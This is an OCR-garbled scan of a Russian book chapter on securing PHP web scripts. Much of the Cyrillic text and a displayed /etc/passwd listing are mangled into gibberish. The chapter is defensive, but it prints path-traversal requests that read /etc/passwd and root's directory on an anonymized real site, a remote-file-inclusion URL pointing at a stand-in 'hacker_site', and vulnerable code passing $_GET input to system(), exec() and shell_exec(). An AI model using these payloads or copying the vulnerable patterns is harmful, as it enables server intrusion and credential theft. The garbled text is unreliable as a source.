HHE SALLITE W TIOCTAPATEES MAKCHMATEHO TIDEAYCMOTPETS BCE XOTH XAKEPa, KOTOPHIE O
NOET HCIONHI0BATH? B 3TOM CTYae TPOM MOXET TPANYTS HE TaK CKOPO, H IOGAEACT-
BHR GYAYT He CTOM IQUEBHBINK.

Tlph HamHCaHHH KaAIOR CTPOUKI KOAA Bbi AOTIKHb NONHHTS: HEODXOTHMO SaTpeutaTh
B, 4O ABHO He PASPELIEHO. AHATHIHPYS KKIHHH NApANETP, OTKY 13 Gbi OW HH NOABHA-
 (Mepean METOoM FOST W GET WM MpowHTaN 3 (paiina cookie), HYAHO ¢ OMOUIEIO
PETYARDHIX BIPWACHHH IPOBEPATS KOPPEKTHOCTS NIAPANETPA WA YIATATS W3 HETO BCE
A————

CeIIMTE 38 HOBHIMI TEXHOTOTHAMH BYTOMA, KOTOpHIE MPWIYNBIBAIOT Xakeps. Bricoxo-
"MPOGECCHOHATBHIX XAKEPOB He Tak MHOTO, W GIATO, HTO JQTIEKO He BCE OHM HCTOTb3Y-
10T CBoe ymenne A% B3oMa. Ho ke HEGOTBIIOE KOTHYECTBO HCKYCHX XAKEPOB TaHT
B CeGe cephesiyko yrposy. OYeHb ACTO GIYHAETCA, HTO €CIH KTO-TO HAXOINT OUIMOKY
B MPOrpaMME OTHOTO MPOIBOMITENA, TO MOAOGHAS OUIGKA NPHEYTCTBYCT H B aHaTO-
O TIO HATHAYEHHIO MIPOTPAMME APYTOTO TPOHIROIHTENS. JIEN0 B TOM, 47O BCE Mt
VHMMCR 10 OZIHHM  TeM e KHHTAM, 3, CEIOBATEABHO, MBICTH TIDHNEPHO OTHHIKOBO
WIH KOT 1A CBOWX CUEHAPHEB Gepe 3 OTKPHITHIX HCTONNHKOB (KIT, GecriraThinx
TpHwepoB). Ho CTOT 0HOMY XAKEPY CAEIET HTO-TO HEOPIMHAPHOE, Kk OGHAPYAHBA-
eTCR yRIBMMOCTS B THIIHOM CLeHApHH.
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if (1ini_get (magic_quotes_gpc))
5__ SAVECOOKTE($inx) = addslashes (s_COOKIE($inx]);

»

)

B >Tom aliie TPH LKA, KOTOpHIE IEPEGHPAIOT BCE TIEPEMEHHIE W5 MACCHBOB §_GET,
$_OST M 3_COOKIES W OGEIBPEAMBAIOT WX COTEpAIMOE. UTOGH HOMOML30BATS STOT
alin, AOCTATONHO IOTKIIONATS €70 B0 BOEX (GaiiaX CUCHAPHED H OGPAILATLCS K nepe-
MEHHLIM HMEHHO Hepe3 MACCHB, & He HEpeS FIOGATLHBIE MIEpeMCHHC.

EAWHCTBEHHOE, STT0 HeYOGHO B ITON ClEHApHH — Bce MepewenHiie uaioTes HTML-
KO0B 20 BHINOTHEHMA CueHapHs. ECH cleHapH COXPAHAET SHAYEHHE B GAse, TO TIOTOM
poGnemaTITHO GyeT peAaKTHPOBATS 31O anascwe. TIpOVHTZD ero W Nokasas B none
BBOA, TPYAHO GYAET NOHATH, Kakwe 3 HTML-Teron Ghui SKpaHHPOBAHH, & KaKHe HeT.
ECIM B HCTIOTb3yeTe APAMETPHIHPOBANHBIE JAMPOCH, TO addslashes () TOXE MOET

HABPEINTS, & He TIOMO. TAK SO STOT YHHBEPCATHHIA METOR — NATKG O TBYX KOHIAX:
MOXCT OO, & MOXET H HATIOPTHTS
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B AGHHO KHHTE % CTICUHATEHO HE 1SR YTIOp Ha TO, KAKF HMEHHO PeryApHIC BHPEKE-
HAR HYAHO HCTIOTS08aTS. [13, MBI PACCMATDHBATH IDHMEDH, HO OHM HOCKTH MHCTO M-
opMauONHLi XapaKTep. CErONiA PETyIAPHOE BHPUKEHHE KOPPEKTHO MPOBEPAET Na-
PAMETD M MOAET FAPAHTWPOBT GE3ONACHOCTS PE3YIBTATA, @ 3ABTPA NIORBATCA HOBHIE
BWI aTaK, HOBE YAIBHMsE (YHKLUH JIH Tert, ¥ TOTAR BCe, KTO GYeT HCMOTB30RaTS
TaKWHe PeryIApHBIC BHPIKCHHA, OKEKYTCA TIOX TPHILETION XaKepoB. M He 3acThin Ha
MECTE, H Bbl He AO/IKHB OCTAHABTHBATECA B CBOEM PAIBHTHH.

M nocsezee — 0GpaGaTHIBaMTE BCe HEWITATHLIE CHTYAWHH H KOPPEKTHO pearwpyliTe Ha
BCe OWHGKH BO BpEA BHITOTHEHMA cueHapHes. TIpH ITOM MOTHIOBATENO HYAHO 0K~
Susars Ha Web-CTpaiie TOTbKO HeoGXomMMb My, COOGUIEHHA 06 OWHGKAX
"HHQOPMATHEHS! W TIO3BOTAIOT XaKEPY YIHATS CTPYKTYPY Batel Gat TaHHBIX HTH HVEHE
HenokyeMsiX pyHKiD

MaeazsHoro Koza He cymectsyer. K Hewy HYKHO CTpeMMTLCA, HO camsil Waeamsbii
KO MOKET GBiTh TOMsKO B HeGonbWON Mporpave. KOraa Kox pacTer, To oGR3aTensHo
B HEM HAMMHACT MOFBIATCA MYCOP, KOTOpHI MOKET BMHTH WI-TOX KowTpons. He
OCTABTANTE MYCOP B KO, CTPEMHTECS K WICATEHOMY KOY, 4TOGH OH BaM HPABHICA H
BbisbiBan ropocts. Tako Ko oBsrHo 1 Goriee GesonacHsii.
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51 TecTHPOBA Ha GE3OTIACHOCTE YKE MHOTO CaliTOB, W €CAH CUEHAPHH GBLTH CaMOTIHCHH-
Mit (HATHCAHHBIMH BIATETHUEN caliTa, KBATHQHKALKA KOTOPOrO OCTABIAET XEnaTh
IYHUEro), TO O4EH YACTO MOXHO GHLIO HAHTH PESEPBHIE KOHH CLIEHIDHEB, H J1S HAX
Hepenxo yerananmsatoch pacuimpenne old v bak. Eci Xakep noaysnT b caoe pa
TIODRKEHHE HXOMHBIH KO, 3TO CEPHEIHO PATBTKET EMY PYKH H YIOCTHT TIOHCK YS3BH-
Moctw. Tlpn oGpamenny k daiiry ¢ pacumpensiem php OH BHTIOTHAETES MHTEpIPETATO-
POM, H HCXOAHBIH KO YBHACTS He YA@eTCA. OHAKO €cT HIMEHHTS pacumpene a old
W TIOMMTATLCA OTKPHITL afi, TO MOAHO GYAET YBWACT HCXOTHAI KOX WIH CKavaTh
bai cuenaphs K ceGe Ha icK.

Jlnn cGopa MrGopMALIIH 0 BpeMEHHBX aiLTaX XAKEPH MOTYT HCTIOTHI0RATS CUHATH-

SHPOBGHHHIE MPOTPAMNE, STOGH HE MYSHTLCA C TECTOM BPYSHYIO, IOSTOMY HE CTOHT

JIYMaTh, §TO 3T0 COAHAA 3AT89A H XaKEp HHHeEro He Hal1er. 5| VIGHHPYIO 10GaBHTE

yHIuIO MoHCKa pesepBHbIX Komwi dailion B croro mporpammy CyD Network Utilities

(bttps//russia.cydsoft.com). Jlymaio, STO K MOMEHTY BHXOR STOM KHHTH B CBT AaHHAS

Gy yoKe Gyner peansopa.

Huxoraa He covaapalfre peseppBie Konwi Galiio a cephepe, KoTMpyHTe WX Ha ceol

KIHeHTCKsI KOMTBIOTED.

3 Bo Bpews NDEBAPHTELHOTO AHATH3A XAKED MILET BGe GO, KOTOpHIE TPHHHMAIOT
AaHHBe OT TOMKIOBATEAS, W TEPERAET WX Cephepy. [lepeNIta NAPAMETPOB BoerIE
onacwa. CoSpap 37w caeaeHs, Xakep BIOCEACTBMH GYIET TECTHPOBATS Mepeaty
TIAPaMETpOR B HATEACIE, “TO X0TA bt OMH ClICHAPHH HE IDOBCPRET BBOTHMHIE T
20BATEEM ZHHHIC Ha HATIME ONACHSIX CHMBOOP.

O 3Han CTPYKTYPY KATAIOrOB, MOXHO Gofee HETKO AKICHTHPOBTS CBOE BHHMAHE
CKATE YAIBHMOCTH HMEHHO Taw, TZe GYACT MOTyEH HARTY LI Peay ToTaT.

FUICaTe HbIM BADHIHTOM GYZET BOIMOKHOST YBHAETS COOBULEHHE O HEpPABHTLHOM A0~

Tymie K TaHHM # OWMOKE SQL-3aNIPOCa, IPH ITOM Ha IKPAHE MOKET OTOGPEXATECA Cav

SQL-3anpoc. Eci BIOMILAK YBHIUT €10, TO 00BN HHQOPMALIH B PYKEX MIOYMbi-

EHHHKA W €€ BKHOCTS CYUIECTBEHHO BOSPACTYT.

OieHs BaKHYIO W MOAESHYIO HHPOPMALLAIO MOTYT Z4TS HCXOTHBIE KObH CTPAHHL CaliTa

‘Cavk nporpawst Ha sabike PHP HEBOIMOXHO YBHIETS, MOTOMY HTO OHH BHITOTHAIOTC

Ha cepaepe, a KHeHTy epeactcs T076K0 HTML-KOZL, HO W 31€ch MOKHO Koe-4T0 Hall-

. TIepEHCIHM MIEMEHTHI TIPOTPAMMsI, KOTOPBIM Ha JAHHOM STAIIE B3TOMIAKH YIEA%-

o7 Gobine Boero BHiva:

O KoMMeNmapI MOTYT CORCPAATS WHTEpECHYIO WHBOPMALIIO O KOTE WTH O HasHade-
W napaveTpos. HHOTZA MIPOTPAMMHCTS! OCTARIIOT B KIUECTBE KOMMCHTADHS L
THiE GPATMEHTSI KOa, KOTOPHIE MO3BOTRIOT XaKEPY GHICTPee HaTH MOTCHIAATHBIE
oumGKH;

O3 cxprimbie bopu W napaxemp MOTYT NEPENABATLEA C NAPAMETPAMH GET WM FOST
CoNEPAATS ONEHs BIKHYIO MHGOPMALI.

KOra coGpaH MAKCHMATHHO BOSMOAHBIH OGheM HH(OPMALIH, HATHHASTCA MPOBEPKA

CuEHAPHED Ha KOPEKTHOCTH OGPAGOTKH BXOTHBIX AaHHX. JIT8 ITOrO BO BCEX napawer-

PAX MOXET NEPCAABATLCA "MYCOP, COCTOALM] W3 TAKIX CHMBO/IOB, KaK THPS, TIORep-

Kotbarre, TOKa ¢ aNATOH, crew, OGPATHEM Cel H T. 1. MHOTHE H3 STHX CHMBOIOB
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C3 Tepet HitM TIPOKONTS EILle OZMH POB 1 HAKPHITS €TO THCTEAMH;

O Ha CTeHaX NIOBECHTS, KOIONYIO TPOBOIOKY H YCTAHOBHTS KOTISS, KOTOPHE He 03B
AT NPHCTABIAT K CTEHE ACCTHMIL,

O TAKYIO KpeETOCTh MOAHO Gy €T sauuTHTS apwieii 5 1000 Yenoex Awke OT MKLHOHE
WanazaiouX. Hew GoTsile YPOBHEI JAUNTH, Tew CAOKHEE ee OBONTH, B TOM e
B KOMILIOTEPHOM MHpe. BOTbLINHCTBO HETIPOGECCHORATLHBX BOHHOB He MOWET Ha Xo-
POLIO aLMILEHHYO KPENOCTS, OTIACASCH MOTHGHYTS.

3.4.1. PeansHurii npumep owubKkn

O % HATKHYACA Ha OTHH CAT (e GYIEN YTONHATD €rO HASBAHWE), Ha KOTOPOM
saura Guuna manexa ot waeana. JlioGof xaxep, yawe, xak Gopwnpyercs URL-arpec,
Pasy HaUHET KOTATH F1YGAe H CMOAET 1Oy 4HT 1IpaBa A0CTYNa K ITOR CHETEMe.

B paccMaTpHBaeMsix NpHMEPAX HMA ceppepa GyieT samencHo wa sitename domain
S OTpaBIY PASPACOTIHKAM HCEMO C OMHCAHHEN OLIHGKH, HO MHE He XOHETES, SO0k
MOR KHHFA CTATa IPHYHOR HCTIOPEHHOR PeMyTaLIMM CaiTa, XOTS OH Gbi He TaKof Y
KpynHbi

Hirax, azpec wa cafiTe (JopMHpOBLICA CAYIOUIM OGpaoN:
http://www.sitename.domain/index. php?dir=katator & file=aii

B NAPaNETPe dix NIEPEACTER HNA KATATIOTa, H3 KOTOPOFO HYSKHO pOUHTaTL i, a ve-
Pes MapavieTp 1 — WA (afiza. Mie Cpasy e CTAT0 WHTEPECHO, 4TO MOYHTCA, ecit
B KatecTse MeHN Gaiina nepenath To-HHOYb Bpore /etc/passwd (Qaikn, B KoTopow
UNIX-cepaeps xpans cncin nonssosarench). B otwer s norysn coobuene: "H kto
Te6A npociT 3To AeaTk?" OeHb XOPOLIO, PAIPASOTIIKI ABHO NPEAYCMOTPEAH BO3-
NOKHbE aTaKH,

Toraa s eecto wwenn ajinia nocTaswn mpocTo Towky, 4o 5 UNIX-cepepax ykassin:
e Ha Texyuuii Karanor. Ha 5T0T pas % YBHIEN B OKHe Gpay3epa CHCOK (pafiios KaTato-
Ta, YKASGHHOTO B KatecTe Napawerpa dir. BHIHMO, PaspaGOTSMKH HCTOTH30BATH
{DHISTP, KOTOHI 3ANpeUI NEPEAARATS B KAUECTBE APAMETPA IHAKIH /, HO OMHONHAS
TouKa He npoepnack. Heb3s anpeTHTh TONKY BOOGIE, Bello HMeHa Galion overs
HACTO CONEPAAT TOUKY A1 OTACTEHHA MNEHH (paina OT PACILIHPEHAS, HO OAHHOHYIO
TONKY IPOBEPATS HEOGXOTNO.

Ho 370 etne He ace. 1 MONBITATCA BHINOTHATS CAEAYIOUIM 3ATPOC K CEPBEPY:
/index.php?dir=/ete&file=.

B xauectoe katanora ykasana crcremnas nanka UNIX, a swecto uvenn daiira cromr
TOTHKO TOYKa. B OTBET Ha 3TO A YBWIEN MIOTHOE CONEpAHMOE KaTanora fetc. Hy 470 e,
nonpoByen NpocMOTpeTS Kakofi-wiOyIs dailn B STOM Karanore, Hampiwep passwd,
B KOTOPOM HAXOIHTCA CITHCOK NIOTI0BATEEH CHOTEMS:

htt

https//www.sitename.doms

liwww.sitename.domain/index. php?dir=/etc& file=passwd

Pesynurar npemouien nce oxaanis. Mo Toro, 1o 5 yswaen conepaimoe aiina, Tax
elle B 3ATOTOBKE OKA3ATACH HHBOPMALLA 06 YCTAHOBTEHHOM ceppepe (pHe. 3.1). B aai-
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B HEKOTOPHIX CYMASX ABISIOTCA 3aESEPBHPOBIHHBIH, HATHMED, TPH OTKPHITHH a

708 Wk np paGoTe ¢ Gasam awHbIX. ECTH Ha KaKOF-TO 13 CHMBONOB OpEETEHHH

CuteHapiii BT COOGIEHHE 00 OIMGKE, TO B TAKOM COOGUIEHHH, CKOpee Beero, GyIeT

conepaaTees CTpoNKa K0Ta, B KOTOpOH MpoIoITa OWHGKa, W MM Kk WM SQL-

34MOc. ITO FOBOPHT O TOM, SO KAKOH-TO CHMBOT OGPAGATHIBIETCA HEBEPHO, AT~

Helillice IPOHMKHOBEHHE  Ha CEPBEp MPOTOTKACTCA YKE B JABHCHNOCTH OT TOT0, T

‘mpowsOuIa OurHGKa. HanGo1ee KpHTHAHHIMM ABIAOT:

O hywKtunm oGpaieHHs K CHETeMe, Takie KAk systen(), exec () W T. 2 ECTH nph o6ps
LICHII K 9THM YHKIASM He MPOHCXOTHT MPOBEPKA Ha CTIEIAQTBHbE CHWBOTH, TO
XAKED GYIET MITATHCA BHTOTHHT CHCTEMHbIE KOMAHI, HATIDHNEp, 15 ZA 1po-
emoTpa Tekymero karatora B OC UNIX. H ecam npw oom npasa y Web-cepaepa
IOCTATOMHS 18 BHITOTHERHS BIKHBX KOMHI, TO MOKHO CHHTATS, 410 XiKep 10~
Guncs nocTamnenrof uenw;

Oy paborsi ¢ aiinawmn, Take Kax include(), readfile() n 7.4 C mx no-
NOUIHO XaKep MOKET TIOMIBTATLCA MPOHTATS KOHDHTYPAUHORHSIE Gailns, HApH-
Mep, Galin co cickom nombsomaTenei fetc/passwd, @ nyuwe. fetc/shadow, e
B UNIX-I0I0GHbIX CHCTEMAX XpaHFTCA auM(poBaniiie napoaw. Jla, napomi -
WIHQPOBAHS, HO MOROGPATS X BIOTHE PEaTLHO;

0 SQL-3aMpock, © TIOMOLIbIO KOTOpHX XAKEp MOKET HAPYWITE UETOCTHOCTE Gasbi
GHHL, YILTHTS WIH WIMEHHTS BAHbE JGHHHIE WIH TIOTY4HTS A0CTYN K KOHGH-
TeHUHATEHOR HGOPMALIAW, HATPHMEP, TaOTHIE NIZpOTEH

OCHOBHAS YA3BHMOCTS CILEHAPHER — 9TO OTCYTCTBHE TPOBEPKH KOPPEKTHOCTH NapaNET-

POB H JQHHBIX, TIONYHAEMbIX OT NICAB3OBATEAA, W TR TeMe Mt OYIEM YATT OYeHs

MHOTO BHIMAHIS. Y CHCTEMHBIX (byHKLUATE Bbi OGH3HB! YALIATS W3 IGPANETPOB CEUIM,

GpaTHbE CrewH W TOUKH © JANATOR. A Tywe BooGUe He NEpeAABATH CHCTENHS

YHKIAM NaPaMETPB, KOTOpHIE TRy EHH HATIPANYIO OT MOTKIORATENS,

3.4. OcHostr 3aWMTHI CLueHapues

e ¢ 3210l cepaepa  Gashi AaHHBIX BCe Goree-MeHee ACHO K MOXHO ciopuyTHpo-
DTS OMpEETEHHBNE MPABHIA, A PH HETKOM WX COBTIOZCHHH TOBOPHTS O GeaomacHocTH,
o MPH COVIAMMH CLCHAPHS CHTYAIIAS HawHOTO cOAHee. Jlmke CTPOrO CAIYS Cambit
KECTKHM PEKOMEHIGLIAM, TIPOTDANMHCT HE MOKET rapaHTHPORITS SAILITY XO0TS Gl Ha
90%. TIpoGTeNa B TOM, 4TO HNEHHO B BPEMA TTPOTPAMMHPOBAHHS GOTHLIE BCETD MPOAE-
aReTeR seoBesecKi GaKTOp.

JaIUTA CUEHapHA L0TKHA GHiTH MHOTOYPOBHEBOM. HET Takoro MeToaa, KoTopii aut-
TR Gt BauTy CHCTeMY W Gbi Gbi yMuIkM. B CIyac ¢ GE3OMACHOCTEID BCe METOb X0~
pou. SIpKAH IPHMEp H3 AVSHH — B JQBHHE BPENEHA BOKPYT TOPOOB CTPORTH BHCO-
Kvte CTeHbl, KOTOpIE TIO3BOARII JAUTHTS AHTEAEH T Habero. Ho atoro mano. Oy
CTemHy MOXHO CIOMATH, €c aTakyiouX GyaeT B 100 pas Gonbie, ew ooponsou-
. Ho ec

3 nepe cresawn npokonars rayGoKkHi pos;

01 5 pOB 3T BO 1 HATYCTHT KPOKOAWOB;
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Ellle MHOKECTBO IIDHNEPOB TIOHCKA YA3BHMOCTEH MOAHO YBHIETS b Kkiire "Web-cepaep
raasauk xaxepa” [2]. 3a Kathra GyJeT oveHs NOTEIHA B KaUCCTBE AOMOTHATETLHOTO Ma-
TepHana 1o Ge3onacHoCTH calfTo.

Tlepesseio HeOBXOmAMBI MMHHMYM ACHCTOMH, KOTOPE ZOTKINS BHMOTHATS MpO-
FPAMMIHCTS 474 3aUTH caifTa.

O B napaverpe dix nposepATs HaTHHe Crewa W TowKH. B ITOM CAyae B KaveCTe Ka-
Ta0ra GyJIeT PASPELIEHO YKAIHIBATH TOTEKO HMA B TEKYILIEN. KATIORE, T. €. HETb33
Gyner yKaswiBaTs myTH, HanpwMep, /etc. HACKOTBKO MHE YAA10Ch NOWSTS CTPYKTYPY
calfTa, Ha HeM HeT BOKEHILIX KATaJIOrOB, H CAEUI MPOCTO He HYKEH.

O 3anpeTyTh TOKY, TOrAA BIOMULHK HE CMOKET MPOCOTPETh AKe TEKYLIH KaTaTor.
ECH Bt cOBHPACTECh XPAHITS KIKHE-TO TEKCTOBBIE JAHHME CaiiTa b daitiax, To He
OGAIATENBHO TaKHE paiTei Ha3BATS abOUL{XI. PACIIHPEHHE HHYIKHO, YW HASBATS
it npocTo about. Tor1a A€rko SATPETHTS TOMKY  MPOLIE IAUAILATHCS.

ECH Gl A MHCA CuEHAPH, TO B MAPAMETPE £11c MEPENaBan Gl ToTBKO My palina Ges

PACLIMpEHHS, 8 PACLLHPEHHE OTCTARILI Gbt TPOPaNMHO. L1 5TOrO HykHo, HTOGH Bce

noZKTOUaeMsie GaliThi WETH OIHO pacupene. S Gb L1 2TOro BHOPAT STo-HHOYL

HepeansHoe, Hanpwwep fdfgdg, W 11 Gbi TaKoe PACUIMPEHHE BCEM MOIKTIONAEMBN

aitnax. B 5rom cryuae b crpoke URL nepeaaetes katanor u i aiina Ges pacumpe-

HS, & PACUIMPCHHE MPHKPEMIASTCA MPOTPAMMHO. ITO PEUIAET OYeHb BOKHYIO Npos-

ey,

JIomyCTim, BIOMILIK XOHET MPOSMOTpETS baiin naponeii. JUia 5TOrO OH BHMOTHAET 3a-

npoc

bitp://www.sitename.domain/index. php?dir=etc&file=passwd

Cutenapiii 1EAET OCHOBHHIE MPOBEPKH, OCLEIMHACT NAPAMETP di.x ¢ NAPAMETPOM i le
nporpasnio zoGasnser pacuipenme fdfadg. Jake ecan B napaveTpe d:  HeT MPOBEPK
HA HATHIHE CAEIA, B PESYTLTATE NOTYHaETCA; /etc/passwdl fdfgdg. Konedto xe, Takoro
aliia He CYUIECTBYET b CHCTEMe, H clieHapili BHUIACT cOOGULEHHE 06 ouHOKe.
TIpHGaBeHHe PacuMpEHNS el He TaPAHTHDYET Ge30MACHOCTS, TIOTONY SO STY Tpo-
Giewy 7erio oGoifTu. JIOMYCTHM, HTO Y BAC B KAYECTBE NAPAMETPA NIEPEAAETCA HA -
72, 8 B KavECTBE pACIIMPEHHA MPOTPAMMHO A0GRBIAETCA news.php. IO He cryaibH
TAMEP, 3 BHIEA TAKOE B PEATEHOM NpWIoKeHHH. Terieps, STOGH 0GOMTH 3auTy, Xake-
PY HYKHO BHITIOTHHTS CTEIYIOUIME WarH:
0 cosats Ha caoew cepepe 3oHaMepeHHBIH dailn ¢ TIOGHIM HNEHEM 1 pactHpeHHe
news.php, Hanphviep, hitp://hacker_site/hack.news.php;
O nepenaTs 5ToT il B KaecTBe NapavETPa:
httpz//www.sitename.domain/index.php?file=http: /hacker.site/hack
Teneps saw cuewapwii BemomHT coxepumoe Gaina http:/hacker_site/hack.
news.php, ec il MOTKTIONAETES ¢ OMOUIbIO GYHKLIHH include ) WIH requize ).
Xora 38Ty ¢ MPOTpaMMHBIM A0GABTEHHEM PACLIMPEHR MORHO OBOHTH, PAA NPOCTSIX
TPOBEPOK H SALIITHBIX Mep CAEAT Bl OM KPerIoGTH0. ECTH IOMHMO NporpamMHoro
IOGRRTEHHA PACUIMPEHHA CAENATS POBEPKY Ha CHMBOT /, TO XGKep YAe He CNOET
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Unemon: - 1:1:0wner of many syetam

binynciogn o

hirolagn ne
Dinologn
o
5 Senmai Submissi
Sendmai Delauk
User:jvar/spoolimauece:/atnjnologin bind::53:53:8ind
Sandbox/ Jebmnoiog tico."-66-66:0UCP pesudo
ool cppubic wep/uo
s ininclog.
- Office Owner-/non
World Wide web.

Pahah:=:1000: 1002 Host
ahaN: home/ahaty /e in/noloon
pahan~:1004¢1003:Hosting user
bahan: home/pahan/shinnologin
= 063:1003 Hosting user

Puc. 3.1, Pesynsrar npockorpa pahna naponed.
8387070818 GTOGPEXBETCR WKBOPMALINR OO OTePaLHONHOR CHCTeMe Cepoepa

How cayuae 5To okasancs FreeBSD. Ha pHcyKe 5 yAQuT Bee, |T0 MOKET yKasaTs pax
Ha CaliT, W OCTABHA TOIKO COTEpAHMOE (aina /etc/passwd, KoTopoe TIOKasa Gpaysep, W
3aron0BoK.

Tlepeis cTpOK Haliie Beero YKATBIBAET Ha YHETHYIO 3amHCh AMMHHCTPaTOpa. TyT X0veT-
¢4 NOXBATHTD PaspaGOTHHKOB 32 TO, HTO OHM TIEPEHMEHOBATH yueTHYIO 3amic. Tlo
‘yMomHaHIO OC HTIOTH3YET HA TO0L, HO €10 HIMEHHTH Ha t0or. KOHEWHO, 5T0 CAHIIKOM
TIpocTOe petmerte, Ho Boe-TaKH Ty, Wew Hirdero. Eciu Gbt OH K ToMy Ke nepennie-
HOB&TH OMALIIOHO TATKY QIMHHHCTPATOpa, GALIO bt OTIHAHO.

TIpEaE Hen 3aKOHSHTS HCCTEOBAHHE, & JATAAHYS B AOMALIHION MATKY AIMHHHCTP-
Topa:

htp://www.sitename.domain/index. php?dir=/home/root& file=.

‘Camoe wTepecioe, o N i noKasaws! Bee dpailtsi. 3nasur, npas y Web-cepoepa
AOCTATOHHO /114 PaGOTH € ITHMK GaliiIau, HTO YAKE ONEH ONACHO, BEAb B 31O NaTKe
S8HO IEKAT PE3EPRHHIE KOMHH 1 KOMHH (baioB KOHGHTYpaLH.

Ha 5TOM # Pewitn SAKOWYHTS HCCAAOBAINE  HATPABHTH AINMHHCTPATOPY MHCEMO
 OMHCAHHEN YRIBHMOCTH, HTOGH! €€ CMOTTH 3aKDHITS.
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BATEH, HO W NIPOrPAMMHCTSL SIDKIM TIDHMEPOM FRTHETES BOIMOKHOCTS YKAIAHHA OTHO-
CHTEITLHbIX HMeH, O KOTOOFi MbI TOTBKO HTO TOBOPHTH.
CrongurypHpyiTe irepnperatop PHP Tax, HToGbi O MOT BHTIOTHATS TOTSKO HEOGXO-
anwie Ba i, HANpHMep, eciin Bbi He HCTIOTb3YETE GYHKIHIO system(), TO €¢
reayeT 3anpeTHTE. B ITOM Cilyac, AIKe ecH XaKepy YIGCTE 3Ka4aTh Ha Baul Cephep
oBCTBEHHBI CUCHAPHA, O HE CNOKET BOCTIOTKIORATECA ITOH ONACHOR (pyKIACH.
C ymkaeit systen() BOOGHIE HyAHO OGIIATEER AKKYPATHO, NOTOMY HTO OHa NO3BOTSET
BHITOTHATS B CHCTEMe KOMANIY, YKAIHHYIO B KauccTBe napamerpa. CoMatim cucHa-
PHi, B KOTOPOM €cTh (bOpMA U4 BBOZA KOMAHTbI H YKAXIHHAS KOMAHIA NEPEIAETCH
Gy systen):

<fom action="ayst .php" method="get">

comand: <input. name="sub,_con">

<br><input typesrsumit® value"zun®>

</tom>

<pre>
<zpnp
Peint ("<b>$ GET("sub_con’ }</b>
systen(s_GET("sub_con');
<fpre>

VKaKHTE B 07 BBOA Kakylo-HHOYb Kowanry Baueli OC. Ecan paus Web-cepoep pa-
Goraer oz ynpasenen OC Linux, T0 413 TECTHPOBAHHA MOKHO BBECTI

cat fotc/passnd

B pesybTaTe Ha SKPaHE NOABHTCA (baii, COREpKAILM CTIHCOK TONB3OBATENEH CHETEM .
MOKHO YKSSaTS 710GYIO IpYTYHo KOMGHAY, H OHA GYIET BHTIOTHATECA C TMH MPABAMH,
KoTopie npeocTaniens Web-ceprepy. Ecaw npan y cepacpa I0CTaTONHO, TO KoManIa
Gyxet mumonvena. TIOHATHOE A€, HTO TAKOTO AOTYCTHTS HEAB3A. 51 BOOGILE He peKo-
MEHYIO HEOTbI0BATS YHKINIO =ysten (), W AyAIE GYAET ee sanpeTirs. Hutire apy-
THe BAPHAHTE EUlcHHS CBONX 33101,

Eite 048 OnacHas GyHKIL — exec (). OHA TaKoKE BHITIOTHAET KOMAHIY, HO HE BIBOTHT.
HIHErO Ha JKpaH, & TOTHKO BOTBPAILACT b KAUECTBE PEIYALTATA IOCTEHION CTOKY Bbi-
TIOTHEHHA KOMILTH. TO SHAHT, SO €CAM 3ANPOCHTS paiia Naporel, TO pesyTLTaTOM
GyacT sanvch ¢ HHGOPMALLAEH 0 NIOCAEIHEM NOIOBATENE, JAPETHCTPHPOBIHHON B CHC-
Tewe. CieayiOUWi PHNED NOKISHBIET, Kak OTOGPASHTE Ha CTPAHHILE PESYTHTAT B~
nomHeHHA KM

brint (exec(s_GET["sub_com'])) s

YNKUMA passthru (), TAK A KK H systen (), BHTOTHACT YKASGHHYIO KOMGNAY H BHIBO-
VT Ha KpaK PesyATAT. PAHHLA SAKTIONAETCR B TOM, 40 passthes ) yMeeT pagoTaTh
© ABOWAHHIMH TaHHbINH

Eilie 0 (byHKLUAA, KOTOPAS MOAET BHINOTHSTS KOMAHIH b CHTEME, — shell_exec ().
‘OHa BHITOTHACT KOMAHZY W BOYBPALIACT PERYATAT:

print (shel}_exec (s_GET(*sub_con' 1))
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NIPOBECTH TaKyIo aTaKy. B KaUECTBE MOMOAHEHHS K SALINTE HEOGXOMNO TPOTPANNHO
A0GaRTATS W a0 MyTH, 8 Bee MOMKTIONAEMBie Baiet CTOAINTS b O KaTator. Ha-
TIpHMEp, MoNKTIONAEN e (paliTel TeXaT Ha ceppepe B Kaaiore /varwww/htmlinc
it pacumpenne dat. B 310w cysiae OpMHpOBIHHE Baliia JOTKHO BILTAZETS Tak:

/var /sna/henl /ine €1 le. dat™

Frech NOTPAYMEBIETER, TO IEPEMEHHAA 5¢1 Lo CONEPAHT HMA NOTIKIIOHAENOTO Balina
6e3 pacummpenns. Ho n TyT ecrs 0z TomKocTs. JlOMyCTHM, “TO. XaKepY YARAOCH KaKiN-
G0 oGpazow sarpysHTs coofi (Gaiin cuenapks Ha cepnep o venew hackfile, Hanpi-
Mep, B OBILEA0CTY MHBI KaTaTor /tmp. HToGH NOTKTIONHTE 70T ali, Xakepy 70CTa-
TouHO 7aTh ewy pacumpenvie dat (hackfile.dat) i b KavecTse napaeTpa 57ilc nepenaT
nyte /... Jtmp/hackfile. Mopas — WKora He saGhinaiiTe GABTPOBATS Napaver-
Db, HCIIOLIYEMBE DK GOPMHPOBAHHH HMEHN (DaiLia, Ha MOCTEIOBATELHOTS CHBO-
08 .../

Cym 10 BeeMy, OT NapaMETa dix H B TAKOM BIIE MOKHO OTKEWITLCA H MIEPEIABaT
Tonbko ws paiina. Ho e eci 310 He Tak, HEOOXOTHMO COGPATS BCE NOTKTIOURENSIE
aFbt b OTHH KATATOT, W TOTAA YK TONHO HAZIOGHOCTS B STOM NAPAMETpE OTAZET.

KaK MHOTO WioaHcos npw paGore ¢ daiizawn, Heyxen cosaatenn PHP e Mot npeny-
cMoTpeTS X0TA Gb1 MOTOBMHY w3 T MpoGen? PaSora c dpaitnonoit cueTemoii Bcerza
OnACHA, H MPEAYCMOTPETh BCe HEBOMOAHO, TIOSTOMY MPHXOIHTCA BHIGHPAT MEXIY
Noutbio W Ge3onacHocTso. PaspaGoTkh PHP MDENOCTABIH HaM MOULS W THOKOCTS, &
M ZOIAHE MIDABILTSHO BOGIIONBIOBATLES STHH BOIMOARHOCTANI

H Bee e, HECMOTPS Ha BOIMOXHOCTS JALVITHTHCA OT YKAXAHHA 3ampementbX (aios,
# DEKOMENIYIO HKOTAA He MepeaBaTs iweHa GaiLios B BHIE NapaMeTpoB. Uepes napa-
METPI HELa% TIepeIaBATS HAETO, HTO CBAIANO C (PaiLioRoH cHCTeNOR, daliiav W, Tew
Gonee, ¢ mporpavah.

